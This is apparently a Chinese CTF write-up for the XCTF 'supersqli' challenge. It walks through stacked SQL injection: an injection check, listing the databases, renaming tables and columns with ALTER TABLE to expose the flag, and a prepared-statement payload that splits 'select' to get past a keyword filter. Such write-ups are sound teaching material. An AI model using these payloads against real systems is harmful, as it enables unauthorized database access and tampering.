攻防世界 | 您所在的位置:网站首页 › sql堆叠注入详解 › 攻防世界 |
supersqli
查看是否存在SQL注入 1' and 1=1 #
接下来我们尝试堆叠注入: 查询数据库:(输入框里的–+做了过滤,但在url里依然可以用) ;show databases;--+
word:flag,NO字段 这里有两种方法:1.一种改表名 2.预编译 方法一: 根据在words表里发现id字段与查询框里的出的数据类型相同,一个数字,一个字符串,所以猜测默认查询的就是words表,inject(搜索框中)值应该赋给了id 利用:我们可以将含有flag字段的表命名为word,然后修改字段名字,不就查询到我们想要的结果!(前提是这里rename,alert关键字 没有做过滤) ; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50); # 拆开: ; alter tables words rename to words1; ; alter tables `1919810931114514` rename to words ; ; alter tables words change flag id varchar(50); #查看flag: 1' or 1=1 #
**方法二:**预编译来绕过 构造payload: ';sEt @sql = CONCAT('se','lect * from `1919810931114514`;');prEpare stmt from @sql;EXECUTE stmt;#';sEt @sql = CONCAT(‘se’,‘lect * from 1919810931114514;’); 进行预编译 prEpare stmt from @sql; 设置变量 EXECUTE stmt;# 执行 |
CopyRight 2018-2019 实验室设备网 版权所有 |